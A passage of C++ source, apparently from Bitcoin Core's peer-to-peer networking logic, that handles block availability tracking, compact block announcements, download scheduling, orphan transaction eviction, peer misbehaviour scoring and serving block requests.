return true; } /** Check whether the last unknown block a peer advertised is not yet known. */ void ProcessBlockAvailability(NodeId nodeid) { CNodeState *state = State(nodeid); assert(state != nullptr); if (!state->hashLastUnknownBlock.IsNull()) { BlockMap::iterator itOld = mapBlockIndex.find(state->hashLastUnknownBlock); if (itOld != mapBlockIndex.end() && itOld->second->nChainWork > 0) { if (state->pindexBestKnownBlock == nullptr || itOld->second->nChainWork >= state->pindexBestKnownBlock->nChainWork) state->pindexBestKnownBlock = itOld->second; state->hashLastUnknownBlock.SetNull(); } } } /** Update tracking information about which blocks a peer is assumed to have. */ void UpdateBlockAvailability(NodeId nodeid, const uint256 &hash) { CNodeState *state = State(nodeid); assert(state != nullptr); ProcessBlockAvailability(nodeid); BlockMap::iterator it = mapBlockIndex.find(hash); if (it != mapBlockIndex.end() && it->second->nChainWork > 0) { // An actually better block was announced. if (state->pindexBestKnownBlock == nullptr || it->second->nChainWork >= state->pindexBestKnownBlock->nChainWork) state->pindexBestKnownBlock = it->second; } else { // An unknown block was announced; just assume that the latest one is the best one. state->hashLastUnknownBlock = hash; } } void MaybeSetPeerAsAnnouncingHeaderAndIDs(NodeId nodeid, CConnman* connman) { AssertLockHeld(cs_main); CNodeState* nodestate = State(nodeid); if (!nodestate || !nodestate->fSupportsDesiredCmpctVersion) { // Never ask from peers who can't provide witnesses. return; } if (nodestate->fProvidesHeaderAndIDs) { for (std::list<NodeId>::iterator it = lNodesAnnouncingHeaderAndIDs.begin(); it != lNodesAnnouncingHeaderAndIDs.end(); it++) { if (*it == nodeid) { lNodesAnnouncingHeaderAndIDs.erase(it); lNodesAnnouncingHeaderAndIDs.push_back(nodeid); return; } } connman->ForNode(nodeid, [connman](CNode* pfrom){ uint64_t nCMPCTBLOCKVersion = (pfrom->GetLocalServices() & NODE_WITNESS) ? 2 : 1; if (lNodesAnnouncingHeaderAndIDs.size() >= 3) { // As per BIP152, we only get 3 of our peers to announce // blocks using compact encodings. connman->ForNode(lNodesAnnouncingHeaderAndIDs.front(), [connman, nCMPCTBLOCKVersion](CNode* pnodeStop){ connman->PushMessage(pnodeStop, CNetMsgMaker(pnodeStop->GetSendVersion()).Make(NetMsgType::SENDCMPCT, /*fAnnounceUsingCMPCTBLOCK=*/false, nCMPCTBLOCKVersion)); return true; }); lNodesAnnouncingHeaderAndIDs.pop_front(); } connman->PushMessage(pfrom, CNetMsgMaker(pfrom->GetSendVersion()).Make(NetMsgType::SENDCMPCT, /*fAnnounceUsingCMPCTBLOCK=*/true, nCMPCTBLOCKVersion)); lNodesAnnouncingHeaderAndIDs.push_back(pfrom->GetId()); return true; }); } } bool TipMayBeStale(const Consensus::Params &consensusParams) { AssertLockHeld(cs_main); if (g_last_tip_update == 0) { g_last_tip_update = GetTime(); } return g_last_tip_update < GetTime() - consensusParams.nPowTargetSpacing * 3 && mapBlocksInFlight.empty(); } // Requires cs_main bool CanDirectFetch(const Consensus::Params &consensusParams) { return chainActive.Tip()->GetBlockTime() > GetAdjustedTime() - consensusParams.nPowTargetSpacing * 20; } // Requires cs_main bool PeerHasHeader(CNodeState *state, const CBlockIndex *pindex) { if (state->pindexBestKnownBlock && pindex == state->pindexBestKnownBlock->GetAncestor(pindex->nHeight)) return true; if (state->pindexBestHeaderSent && pindex == state->pindexBestHeaderSent->GetAncestor(pindex->nHeight)) return true; return false; } /** Update pindexLastCommonBlock and add not-in-flight missing successors to vBlocks, until it has * at most count entries. */ void FindNextBlocksToDownload(NodeId nodeid, unsigned int count, std::vector<const CBlockIndex*>& vBlocks, NodeId& nodeStaller, const Consensus::Params& consensusParams) { if (count == 0) return; vBlocks.reserve(vBlocks.size() + count); CNodeState *state = State(nodeid); assert(state != nullptr); // Make sure pindexBestKnownBlock is up to date, we'll need it. ProcessBlockAvailability(nodeid); if (state->pindexBestKnownBlock == nullptr || state->pindexBestKnownBlock->nChainWork < chainActive.Tip()->nChainWork || state->pindexBestKnownBlock->nChainWork < nMinimumChainWork) { // This peer has nothing interesting. return; } if (state->pindexLastCommonBlock == nullptr) { // Bootstrap quickly by guessing a parent of our best tip is the forking point. // Guessing wrong in either direction is not a problem. state->pindexLastCommonBlock = chainActive[std::min(state->pindexBestKnownBlock->nHeight, chainActive.Height())]; } // If the peer reorganized, our previous pindexLastCommonBlock may not be an ancestor // of its current tip anymore. Go back enough to fix that. state->pindexLastCommonBlock = LastCommonAncestor(state->pindexLastCommonBlock, state->pindexBestKnownBlock); if (state->pindexLastCommonBlock == state->pindexBestKnownBlock) return; std::vector<const CBlockIndex*> vToFetch; const CBlockIndex *pindexWalk = state->pindexLastCommonBlock; // Never fetch further than the best block we know the peer has, or more than BLOCK_DOWNLOAD_WINDOW + 1 beyond the last // linked block we have in common with this peer. The +1 is so we can detect stalling, namely if we would be able to // download that next block if the window were 1 larger. int nWindowEnd = state->pindexLastCommonBlock->nHeight + BLOCK_DOWNLOAD_WINDOW; int nMaxHeight = std::min<int>(state->pindexBestKnownBlock->nHeight, nWindowEnd + 1); NodeId waitingfor = -1; while (pindexWalk->nHeight < nMaxHeight) { // Read up to 128 (or more, if more blocks than that are needed) successors of pindexWalk (towards // pindexBestKnownBlock) into vToFetch. We fetch 128, because CBlockIndex::GetAncestor may be as expensive // as iterating over ~100 CBlockIndex* entries anyway. int nToFetch = std::min(nMaxHeight - pindexWalk->nHeight, std::max<int>(count - vBlocks.size(), 128)); vToFetch.resize(nToFetch); pindexWalk = state->pindexBestKnownBlock->GetAncestor(pindexWalk->nHeight + nToFetch); vToFetch[nToFetch - 1] = pindexWalk; for (unsigned int i = nToFetch - 1; i > 0; i--) { vToFetch[i - 1] = vToFetch[i]->pprev; } // Iterate over those blocks in vToFetch (in forward direction), adding the ones that // are not yet downloaded and not in flight to vBlocks. In the mean time, update // pindexLastCommonBlock as long as all ancestors are already downloaded, or if it's // already part of our chain (and therefore don't need it even if pruned). for (const CBlockIndex* pindex : vToFetch) { if (!pindex->IsValid(BLOCK_VALID_TREE)) { // We consider the chain that this peer is on invalid. return; } if (!State(nodeid)->fHaveWitness && IsWitnessEnabled(pindex->pprev, consensusParams)) { // We wouldn't download this block or its descendants from this peer. return; } if (pindex->nStatus & BLOCK_HAVE_DATA || chainActive.Contains(pindex)) { if (pindex->nChainTx) state->pindexLastCommonBlock = pindex; } else if (mapBlocksInFlight.count(pindex->GetBlockHash()) == 0) { // The block is not already downloaded, and not yet in flight. if (pindex->nHeight > nWindowEnd) { // We reached the end of the window. if (vBlocks.size() == 0 && waitingfor != nodeid) { // We aren't able to fetch anything, but we would be if the download window was one larger. nodeStaller = waitingfor; } return; } vBlocks.push_back(pindex); if (vBlocks.size() == count) { return; } } else if (waitingfor == -1) { // This is the first already-in-flight block. waitingfor = mapBlocksInFlight[pindex->GetBlockHash()].first; } } } } } // namespace // This function is used for testing the stale tip eviction logic, see // DoS_tests.cpp void UpdateLastBlockAnnounceTime(NodeId node, int64_t time_in_seconds) { LOCK(cs_main); CNodeState *state = State(node); if (state) state->m_last_block_announcement = time_in_seconds; } // Returns true for outbound peers, excluding manual connections, feelers, and // one-shots bool IsOutboundDisconnectionCandidate(const CNode *node) { return !(node->fInbound || node->m_manual_connection || node->fFeeler || node->fOneShot); } void PeerLogicValidation::InitializeNode(CNode *pnode) { CAddress addr = pnode->addr; std::string addrName = pnode->GetAddrName(); NodeId nodeid = pnode->GetId(); { LOCK(cs_main); mapNodeState.emplace_hint(mapNodeState.end(), std::piecewise_construct, std::forward_as_tuple(nodeid), std::forward_as_tuple(addr, std::move(addrName))); } if(!pnode->fInbound) PushNodeVersion(pnode, connman, GetTime()); } void PeerLogicValidation::FinalizeNode(NodeId nodeid, bool& fUpdateConnectionTime) { fUpdateConnectionTime = false; LOCK(cs_main); CNodeState *state = State(nodeid); assert(state != nullptr); if (state->fSyncStarted) nSyncStarted--; if (state->nMisbehavior == 0 && state->fCurrentlyConnected) { fUpdateConnectionTime = true; } for (const QueuedBlock& entry : state->vBlocksInFlight) { mapBlocksInFlight.erase(entry.hash); } EraseOrphansFor(nodeid); nPreferredDownload -= state->fPreferredDownload; nPeersWithValidatedDownloads -= (state->nBlocksInFlightValidHeaders != 0); assert(nPeersWithValidatedDownloads >= 0); g_outbound_peers_with_protect_from_disconnect -= state->m_chain_sync.m_protect; assert(g_outbound_peers_with_protect_from_disconnect >= 0); mapNodeState.erase(nodeid); if (mapNodeState.empty()) { // Do a consistency check after the last peer is removed. assert(mapBlocksInFlight.empty()); assert(nPreferredDownload == 0); assert(nPeersWithValidatedDownloads == 0); assert(g_outbound_peers_with_protect_from_disconnect == 0); } LogPrint(BCLog::NET, "Cleared nodestate for peer=%d\n", nodeid); } bool GetNodeStateStats(NodeId nodeid, CNodeStateStats &stats) { LOCK(cs_main); CNodeState *state = State(nodeid); if (state == nullptr) return false; stats.nMisbehavior = state->nMisbehavior; stats.nSyncHeight = state->pindexBestKnownBlock ? state->pindexBestKnownBlock->nHeight : -1; stats.nCommonHeight = state->pindexLastCommonBlock ? state->pindexLastCommonBlock->nHeight : -1; for (const QueuedBlock& queue : state->vBlocksInFlight) { if (queue.pindex) stats.vHeightInFlight.push_back(queue.pindex->nHeight); } return true; } ////////////////////////////////////////////////////////////////////////////// // // mapOrphanTransactions // void AddToCompactExtraTransactions(const CTransactionRef& tx) EXCLUSIVE_LOCKS_REQUIRED(g_cs_orphans) { size_t max_extra_txn = gArgs.GetArg("-blockreconstructionextratxn", DEFAULT_BLOCK_RECONSTRUCTION_EXTRA_TXN); if (max_extra_txn <= 0) return; if (!vExtraTxnForCompact.size()) vExtraTxnForCompact.resize(max_extra_txn); vExtraTxnForCompact[vExtraTxnForCompactIt] = std::make_pair(tx->GetWitnessHash(), tx); vExtraTxnForCompactIt = (vExtraTxnForCompactIt + 1) % max_extra_txn; } bool AddOrphanTx(const CTransactionRef& tx, NodeId peer) EXCLUSIVE_LOCKS_REQUIRED(g_cs_orphans) { const uint256& hash = tx->GetHash(); if (mapOrphanTransactions.count(hash)) return false; // Ignore big transactions, to avoid a // send-big-orphans memory exhaustion attack. If a peer has a legitimate // large transaction with a missing parent then we assume // it will rebroadcast it later, after the parent transaction(s) // have been mined or received. // 100 orphans, each of which is at most 99,999 bytes big is // at most 10 megabytes of orphans and somewhat more byprev index (in the worst case): unsigned int sz = GetTransactionWeight(*tx); if (sz >= MAX_STANDARD_TX_WEIGHT) { LogPrint(BCLog::MEMPOOL, "ignoring large orphan tx (size: %u, hash: %s)\n", sz, hash.ToString()); return false; } auto ret = mapOrphanTransactions.emplace(hash, COrphanTx{tx, peer, GetTime() + ORPHAN_TX_EXPIRE_TIME}); assert(ret.second); for (const CTxIn& txin : tx->vin) { mapOrphanTransactionsByPrev[txin.prevout].insert(ret.first); } AddToCompactExtraTransactions(tx); LogPrint(BCLog::MEMPOOL, "stored orphan tx %s (mapsz %u outsz %u)\n", hash.ToString(), mapOrphanTransactions.size(), mapOrphanTransactionsByPrev.size()); return true; } int static EraseOrphanTx(uint256 hash) EXCLUSIVE_LOCKS_REQUIRED(g_cs_orphans) { std::map<uint256, COrphanTx>::iterator it = mapOrphanTransactions.find(hash); if (it == mapOrphanTransactions.end()) return 0; for (const CTxIn& txin : it->second.tx->vin) { auto itPrev = mapOrphanTransactionsByPrev.find(txin.prevout); if (itPrev == mapOrphanTransactionsByPrev.end()) continue; itPrev->second.erase(it); if (itPrev->second.empty()) mapOrphanTransactionsByPrev.erase(itPrev); } mapOrphanTransactions.erase(it); return 1; } void EraseOrphansFor(NodeId peer) { LOCK(g_cs_orphans); int nErased = 0; std::map<uint256, COrphanTx>::iterator iter = mapOrphanTransactions.begin(); while (iter != mapOrphanTransactions.end()) { std::map<uint256, COrphanTx>::iterator maybeErase = iter++; // increment to avoid iterator becoming invalid if (maybeErase->second.fromPeer == peer) { nErased += EraseOrphanTx(maybeErase->second.tx->GetHash()); } } if (nErased > 0) LogPrint(BCLog::MEMPOOL, "Erased %d orphan tx from peer=%d\n", nErased, peer); } unsigned int LimitOrphanTxSize(unsigned int nMaxOrphans) { LOCK(g_cs_orphans); unsigned int nEvicted = 0; static int64_t nNextSweep; int64_t nNow = GetTime(); if (nNextSweep <= nNow) { // Sweep out expired orphan pool entries: int nErased = 0; int64_t nMinExpTime = nNow + ORPHAN_TX_EXPIRE_TIME - ORPHAN_TX_EXPIRE_INTERVAL; std::map<uint256, COrphanTx>::iterator iter = mapOrphanTransactions.begin(); while (iter != mapOrphanTransactions.end()) { std::map<uint256, COrphanTx>::iterator maybeErase = iter++; if (maybeErase->second.nTimeExpire <= nNow) { nErased += EraseOrphanTx(maybeErase->second.tx->GetHash()); } else { nMinExpTime = std::min(maybeErase->second.nTimeExpire, nMinExpTime); } } // Sweep again 5 minutes after the next entry that expires in order to batch the linear scan. nNextSweep = nMinExpTime + ORPHAN_TX_EXPIRE_INTERVAL; if (nErased > 0) LogPrint(BCLog::MEMPOOL, "Erased %d orphan tx due to expiration\n", nErased); } while (mapOrphanTransactions.size() > nMaxOrphans) { // Evict a random orphan: uint256 randomhash = GetRandHash(); std::map<uint256, COrphanTx>::iterator it = mapOrphanTransactions.lower_bound(randomhash); if (it == mapOrphanTransactions.end()) it = mapOrphanTransactions.begin(); EraseOrphanTx(it->first); ++nEvicted; } return nEvicted; } // Requires cs_main. void Misbehaving(NodeId pnode, int howmuch) { if (howmuch == 0) return; CNodeState *state = State(pnode); if (state == nullptr) return; state->nMisbehavior += howmuch; int banscore = gArgs.GetArg("-banscore", DEFAULT_BANSCORE_THRESHOLD); if (state->nMisbehavior >= banscore && state->nMisbehavior - howmuch < banscore) { LogPrintf("%s: %s peer=%d (%d -> %d) BAN THRESHOLD EXCEEDED\n", __func__, state->name, pnode, state->nMisbehavior-howmuch, state->nMisbehavior); state->fShouldBan = true; } else LogPrintf("%s: %s peer=%d (%d -> %d)\n", __func__, state->name, pnode, state->nMisbehavior-howmuch, state->nMisbehavior); } ////////////////////////////////////////////////////////////////////////////// // // blockchain -> download logic notification // // To prevent fingerprinting attacks, only send blocks/headers outside of the // active chain if they are no more than a month older (both in time, and in // best equivalent proof of work) than the best header chain we know about and // we fully-validated them at some point. static bool BlockRequestAllowed(const CBlockIndex* pindex, const Consensus::Params& consensusParams) { AssertLockHeld(cs_main); if (chainActive.Contains(pindex)) return true; return pindex->IsValid(BLOCK_VALID_SCRIPTS) && (pindexBestHeader != nullptr) && (pindexBestHeader->GetBlockTime() - pindex->GetBlockTime() < STALE_RELAY_AGE_LIMIT) && (GetBlockProofEquivalentTime(*pindexBestHeader, *pindex, *pindexBestHeader, consensusParams) < STALE_RELAY_AGE_LIMIT); } PeerLogicValidation::PeerLogicValidation(CConnman* connmanIn, CScheduler &scheduler) : connman(connmanIn), m_stale_tip_check_time(0) { // Initialize global variables that cannot be constructed at startup. recentRejects.reset(new CRollingBloomFilter(120000, 0.000001)); const Consensus::Params& consensusParams = Params().GetConsensus(); // Stale tip checking and peer eviction are on two different timers, but we // don't want them to get out of sync due to drift in the scheduler, so we // combine them in one function and schedule at the quicker (peer-eviction) // timer. static_assert(EXTRA_PEER_CHECK_INTERVAL < STALE_CHECK_INTERVAL, "peer eviction timer should be less than stale tip check timer"); scheduler.scheduleEvery(std::bind(&PeerLogicValidation::CheckForStaleTipAndEvictPeers, this, consensusParams), EXTRA_PEER_CHECK_INTERVAL * 1000); } void PeerLogicValidation::BlockConnected(const std::shared_ptr<const CBlock>& pblock, const CBlockIndex* pindex, const std::vector<CTransactionRef>& vtxConflicted) { LOCK(g_cs_orphans); std::vector<uint256> vOrphanErase; for (const CTransactionRef& ptx : pblock->vtx) { const CTransaction& tx = *ptx; // Which orphan pool entries must we evict? for (const auto& txin : tx.vin) { auto itByPrev = mapOrphanTransactionsByPrev.find(txin.prevout); if (itByPrev == mapOrphanTransactionsByPrev.end()) continue; for (auto mi = itByPrev->second.begin(); mi != itByPrev->second.end(); ++mi) { const CTransaction& orphanTx = *(*mi)->second.tx; const uint256& orphanHash = orphanTx.GetHash(); vOrphanErase.push_back(orphanHash); } } } // Erase orphan transactions include or precluded by this block if (vOrphanErase.size()) { int nErased = 0; for (uint256 &orphanHash : vOrphanErase) { nErased += EraseOrphanTx(orphanHash); } LogPrint(BCLog::MEMPOOL, "Erased %d orphan tx included or conflicted by block\n", nErased); } g_last_tip_update = GetTime(); } // All of the following cache a recent block, and are protected by cs_most_recent_block static CCriticalSection cs_most_recent_block; static std::shared_ptr<const CBlock> most_recent_block; static std::shared_ptr<const CBlockHeaderAndShortTxIDs> most_recent_compact_block; static uint256 most_recent_block_hash; static bool fWitnessesPresentInMostRecentCompactBlock; void PeerLogicValidation::NewPoWValidBlock(const CBlockIndex *pindex, const std::shared_ptr<const CBlock>& pblock) { std::shared_ptr<const CBlockHeaderAndShortTxIDs> pcmpctblock = std::make_shared<const CBlockHeaderAndShortTxIDs> (*pblock, true); const CNetMsgMaker msgMaker(PROTOCOL_VERSION); LOCK(cs_main); static int nHighestFastAnnounce = 0; if (pindex->nHeight <= nHighestFastAnnounce) return; nHighestFastAnnounce = pindex->nHeight; bool fWitnessEnabled = IsWitnessEnabled(pindex->pprev, Params().GetConsensus()); uint256 hashBlock(pblock->GetHash()); { LOCK(cs_most_recent_block); most_recent_block_hash = hashBlock; most_recent_block = pblock; most_recent_compact_block = pcmpctblock; fWitnessesPresentInMostRecentCompactBlock = fWitnessEnabled; } connman->ForEachNode([this, &pcmpctblock, pindex, &msgMaker, fWitnessEnabled, &hashBlock](CNode* pnode) { // TODO: Avoid the repeated-serialization here if (pnode->nVersion < INVALID_CB_NO_BAN_VERSION || pnode->fDisconnect) return; ProcessBlockAvailability(pnode->GetId()); CNodeState &state = *State(pnode->GetId()); // If the peer has, or we announced to them the previous block already, // but we don't think they have this one, go ahead and announce it if (state.fPreferHeaderAndIDs && (!fWitnessEnabled || state.fWantsCmpctWitness) && !PeerHasHeader(&state, pindex) && PeerHasHeader(&state, pindex->pprev)) { LogPrint(BCLog::NET, "%s sending header-and-ids %s to peer=%d\n", "PeerLogicValidation::NewPoWValidBlock", hashBlock.ToString(), pnode->GetId()); connman->PushMessage(pnode, msgMaker.Make(NetMsgType::CMPCTBLOCK, *pcmpctblock)); state.pindexBestHeaderSent = pindex; } }); } void PeerLogicValidation::UpdatedBlockTip(const CBlockIndex *pindexNew, const CBlockIndex *pindexFork, bool fInitialDownload) { const int nNewHeight = pindexNew->nHeight; connman->SetBestHeight(nNewHeight); if (!fInitialDownload) { // Find the hashes of all blocks that weren't previously in the best chain. std::vector<uint256> vHashes; const CBlockIndex *pindexToAnnounce = pindexNew; while (pindexToAnnounce != pindexFork) { vHashes.push_back(pindexToAnnounce->GetBlockHash()); pindexToAnnounce = pindexToAnnounce->pprev; if (vHashes.size() == MAX_BLOCKS_TO_ANNOUNCE) { // Limit announcements in case of a huge reorganization. // Rely on the peer's synchronization mechanism in that case. break; } } // Relay inventory, but don't relay old inventory during initial block download. connman->ForEachNode([nNewHeight, &vHashes](CNode* pnode) { if (nNewHeight > (pnode->nStartingHeight != -1 ? pnode->nStartingHeight - 2000 : 0)) { for (const uint256& hash : reverse_iterate(vHashes)) { pnode->PushBlockHash(hash); } } }); connman->WakeMessageHandler(); } nTimeBestReceived = GetTime(); } void PeerLogicValidation::BlockChecked(const CBlock& block, const CValidationState& state) { LOCK(cs_main); const uint256 hash(block.GetHash()); std::map<uint256, std::pair<NodeId, bool>>::iterator it = mapBlockSource.find(hash); int nDoS = 0; if (state.IsInvalid(nDoS)) { // Don't send reject message with code 0 or an internal reject code. if (it != mapBlockSource.end() && State(it->second.first) && state.GetRejectCode() > 0 && state.GetRejectCode() < REJECT_INTERNAL) { CBlockReject reject = {(unsigned char)state.GetRejectCode(), state.GetRejectReason().substr(0, MAX_REJECT_MESSAGE_LENGTH), hash}; State(it->second.first)->rejects.push_back(reject); if (nDoS > 0 && it->second.second) Misbehaving(it->second.first, nDoS); } } // Check that: // 1. The block is valid // 2. We're not in initial block download // 3. This is currently the best block we're aware of. We haven't updated // the tip yet so we have no way to check this directly here. Instead we // just check that there are currently no other blocks in flight. else if (state.IsValid() && !IsInitialBlockDownload() && mapBlocksInFlight.count(hash) == mapBlocksInFlight.size()) { if (it != mapBlockSource.end()) { MaybeSetPeerAsAnnouncingHeaderAndIDs(it->second.first, connman); } } if (it != mapBlockSource.end()) mapBlockSource.erase(it); } ////////////////////////////////////////////////////////////////////////////// // // Messages // bool static AlreadyHave(const CInv& inv) EXCLUSIVE_LOCKS_REQUIRED(cs_main) { switch (inv.type) { case MSG_TX: case MSG_WITNESS_TX: { assert(recentRejects); if (chainActive.Tip()->GetBlockHash() != hashRecentRejectsChainTip) { // If the chain tip has changed previously rejected transactions // might be now valid, e.g. due to a nLockTime'd tx becoming valid, // or a double-spend. Reset the rejects filter and give those // txs a second chance. hashRecentRejectsChainTip = chainActive.Tip()->GetBlockHash(); recentRejects->reset(); } { LOCK(g_cs_orphans); if (mapOrphanTransactions.count(inv.hash)) return true; } return recentRejects->contains(inv.hash) || mempool.exists(inv.hash) || pcoinsTip->HaveCoinInCache(COutPoint(inv.hash, 0)) || // Best effort: only try output 0 and 1 pcoinsTip->HaveCoinInCache(COutPoint(inv.hash, 1)); } case MSG_BLOCK: case MSG_WITNESS_BLOCK: return mapBlockIndex.count(inv.hash); } // Don't know what it is, just say we already got one return true; } static void RelayTransaction(const CTransaction& tx, CConnman* connman) { CInv inv(MSG_TX, tx.GetHash()); connman->ForEachNode([&inv](CNode* pnode) { pnode->PushInventory(inv); }); } static void RelayAddress(const CAddress& addr, bool fReachable, CConnman* connman) { unsigned int nRelayNodes = fReachable ? 2 : 1; // limited relaying of addresses outside our network(s) // Relay to a limited number of other nodes // Use deterministic randomness to send to the same nodes for 24 hours // at a time so the addrKnowns of the chosen nodes prevent repeats uint64_t hashAddr = addr.GetHash(); const CSipHasher hasher = connman->GetDeterministicRandomizer(RANDOMIZER_ID_ADDRESS_RELAY).Write(hashAddr << 32).Write((GetTime() + hashAddr) / (24*60*60)); FastRandomContext insecure_rand; std::array<std::pair<uint64_t, CNode*>,2> best{{{0, nullptr}, {0, nullptr}}}; assert(nRelayNodes <= best.size()); auto sortfunc = [&best, &hasher, nRelayNodes](CNode* pnode) { if (pnode->nVersion >= CADDR_TIME_VERSION) { uint64_t hashKey = CSipHasher(hasher).Write(pnode->GetId()).Finalize(); for (unsigned int i = 0; i < nRelayNodes; i++) { if (hashKey > best[i].first) { std::copy(best.begin() + i, best.begin() + nRelayNodes - 1, best.begin() + i + 1); best[i] = std::make_pair(hashKey, pnode); break; } } } }; auto pushfunc = [&addr, &best, nRelayNodes, &insecure_rand] { for (unsigned int i = 0; i < nRelayNodes && best[i].first != 0; i++) { best[i].second->PushAddress(addr, insecure_rand); } }; connman->ForEachNodeThen(std::move(sortfunc), std::move(pushfunc)); } void static ProcessGetBlockData(CNode* pfrom, const Consensus::Params& consensusParams, const CInv& inv, CConnman* connman, const std::atomic<bool>& interruptMsgProc) { bool send = false; std::shared_ptr<const CBlock> a_recent_block; std::shared_ptr<const CBlockHeaderAndShortTxIDs> a_recent_compact_block; bool fWitnessesPresentInARecentCompactBlock; { LOCK(cs_most_recent_block); a_recent_block = most_recent_block; a_recent_compact_block = most_recent_compact_block; fWitnessesPresentInARecentCompactBlock = fWitnessesPresentInMostRecentCompactBlock; } bool need_activate_chain = false; { LOCK(cs_main); BlockMap::iterator mi = mapBlockIndex.find(inv.hash); if (mi != mapBlockIndex.end()) { if (mi->second->nChainTx && !mi->second->IsValid(BLOCK_VALID_SCRIPTS) && mi->second->IsValid(BLOCK_VALID_TREE)) { // If we have the block and all of its parents, but have not yet validated it, // we might be in the middle of connecting it (ie in the unlock of cs_main // before ActivateBestChain but after AcceptBlock). // In this case, we need to run ActivateBestChain prior to checking the relay // conditions below. need_activate_chain = true; } } } // release cs_main before calling ActivateBestChain if (need_activate_chain) { CValidationState dummy; ActivateBestChain(dummy, Params(), a_recent_block); } LOCK(cs_main); BlockMap::iterator mi = mapBlockIndex.find(inv.hash); if (mi != mapBlockIndex.end()) { send = BlockRequestAllowed(mi->second, consensusParams); if (!send) { LogPrint(BCLog::NET, "%s: ignoring request from peer=%i for old block that isn't in the main chain\n", __func__, pfrom->GetId()); } } const CNetMsgMaker msgMaker(pfrom->GetSendVersion()); // disconnect node in case we have reached the outbound limit for serving historical blocks // never disconnect whitelisted nodes if (send && connman->OutboundTargetReached(true) && ( ((pindexBestHeader != nullptr) && (pindexBestHeader->GetBlockTime() - mi->second->GetBlockTime() > HISTORICAL_BLOCK_AGE)) || inv.type == MSG_FILTERED_BLOCK) && !pfrom->fWhitelisted) { LogPrint(BCLog::NET, "historical block serving limit reached, disconnect peer=%d\n", pfrom->GetId()); //disconnect node pfrom->fDisconnect = true; send = false; } // Avoid leaking prune-height by never sending blocks below the NODE_NETWORK_LIMITED threshold if (send && !pfrom->fWhitelisted && ( (((pfrom->GetLocalServices() & NODE_NETWORK_LIMITED) == NODE_NETWORK_LIMITED) && ((pfrom->GetLocalServices() & NODE_NETWORK) != NODE_NETWORK) && (chainActive.Tip()->nHeight - mi->second->nHeight > (int)NODE_NETWORK_LIMITED_MIN_BLOCKS + 2 /* add two blocks buffer extension for possible races */) ) )) { LogPrint(BCLog::NET, "Ignore block request below NODE_NETWORK_LIMITED threshold from peer=%d\n", pfrom->GetId()); //disconnect node and prevent it from stalling (would otherwise wait for the missing block) pfrom->fDisconnect = true; send = false; } // Pruned nodes may have deleted the block, so check whether // it's available before trying to send. if (send && (mi->second->nStatus & BLOCK_HAVE_DATA)) { std::shared_ptr<const CBlock> pblock; if (a_recent_block && a_recent_block->GetHash() == (*mi).second->GetBlockHash()) { pblock = a_recent_block; } else { // Send block from disk std::shared_ptr<CBlock> pblockRead = std::make_shared<CBlock>(); if (!ReadBlockFromDisk(*pblockRead, (*mi).second, consensusParams)) assert(!"cannot load block from disk"); pblock = pblockRead; } if (inv.type == MSG_BLOCK) connman->PushMessage(pfrom, msgMaker.Make(SERIALIZE_TRANSACTION_NO_WITNESS, NetMsgType::BLOCK, *pblock)); else if (inv.type == MSG_WITNESS_BLOCK) connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::BLOCK, *pblock)); else if (inv.type == MSG_FILTERED_BLOCK) { bool sendMerkleBlock = false; CMerkleBlock merkleBlock; { LOCK(pfrom->cs_filter); if (pfrom->pfilter) { sendMerkleBlock = true; merkleBlock = CMerkleBlock(*pblock, *pfrom->pfilter); } } if (sendMerkleBlock) { connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::MERKLEBLOCK, merkleBlock)); // CMerkleBlock just contains hashes, so also push any transactions in the block the client did not see // This avoids hurting performance by pointlessly requiring a round-trip // Note that there is currently no way for a node to request any single transactions we didn't send here - // they must either disconnect and retry or request the full block. // Thus, the protocol spec specified allows for us to provide duplicate txn here, // however we MUST always provide at least what the remote peer needs typedef std::pair<unsigned int, uint256> PairType; for (PairType& pair : merkleBlock.vMatchedTxn) connman->PushMessage(pfrom, msgMaker.Make(SERIALIZE_TRANSACTION_NO_WITNESS, NetMsgType::TX, *pblock->vtx[pair.first])); } // else // no response } else if (inv.type == MSG_CMPCT_BLOCK) { // If a peer is asking for old blocks, we're almost guaranteed // they won't have a useful mempool to match against a compact block, // and we don't feel like constructing the object for them, so // instead we respond with the full, non-compact block. bool fPeerWantsWitness = State(pfrom->GetId())->fWantsCmpctWitness; int nSendFlags = fPeerWantsWitness ? 0 : SERIALIZE_TRANSACTION_NO_WITNESS; if (CanDirectFetch(consensusParams) && mi->second->nHeight >= chainActive.Height() - MAX_CMPCTBLOCK_DEPTH) { if ((fPeerWantsWitness || !fWitnessesPresentInARecentCompactBlock) && a_recent_compact_block && a_recent_compact_block->header.GetHash() == mi->second->GetBlockHash()) { connman->PushMessage(pfrom, msgMaker.Make(nSendFlags, NetMsgType::CMPCTBLOCK, *a_recent_compact_block)); } else { CBlockHeaderAndShortTxIDs cmpctblock(*pblock, fPeerWantsWitness); connman->PushMessage(pfrom, msgMaker.Make(nSendFlags, NetMsgType::CMPCTBLOCK, cmpctblock)); } } else { connman->PushMessage(pfrom, msgMaker.Make(nSendFlags, NetMsgType::BLOCK, *pblock)); } } // Trigger the peer node to send a getblocks request for the next batch of inventory if (inv.hash == pfrom->hashContinue) { // Bypass PushInventory, this must send even if redundant, // and we want it right after the last block so they don't // wait for other stuff first. std::vector<CInv> vInv; vInv.push_back(CInv(MSG_BLOCK, chainActive.Tip()->GetBlockHash())); connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::INV, vInv)); pfrom->hashContinue.SetNull(); } } } void static ProcessGetData(CNode* pfrom, const Consensus::Params& consensusParams, CConnman* connman, const std::atomic<bool>& interruptMsgProc) { AssertLockNotHeld(cs_main); std::deque<CInv>::iterator it = pfrom->vRecvGetData.begin(); std::vector<CInv> vNotFound; const CNetMsgMaker msgMaker(pfrom->GetSendVersion()); { LOCK(cs_main); while (it != pfrom->vRecvGetData.end() && (it->type == MSG_TX || it->type == MSG_WITNESS_TX)) { if (interruptMsgProc) return; // Don't bother if send buffer is too full to respond anyway if (pfrom->fPauseSend) break; const CInv &inv = *it; it++; // Send stream from relay memory bool push = false; auto mi = mapRelay.find(inv.hash); int nSendFlags = (inv.type == MSG_TX ? SERIALIZE_TRANSACTION_NO_WITNESS : 0); if (mi != mapRelay.end()) { connman->PushMessage(pfrom, msgMaker.Make(nSendFlags, NetMsgType::TX, *mi->second)); push = true; } else if (pfrom->timeLastMempoolReq) { auto txinfo = mempool.info(inv.hash); // To protect privacy, do not answer getdata using the mempool when // that TX couldn't have been INVed in reply to a MEMPOOL request. if (txinfo.tx && txinfo.nTime <= pfrom->timeLastMempoolReq) { connman->PushMessage(pfrom, 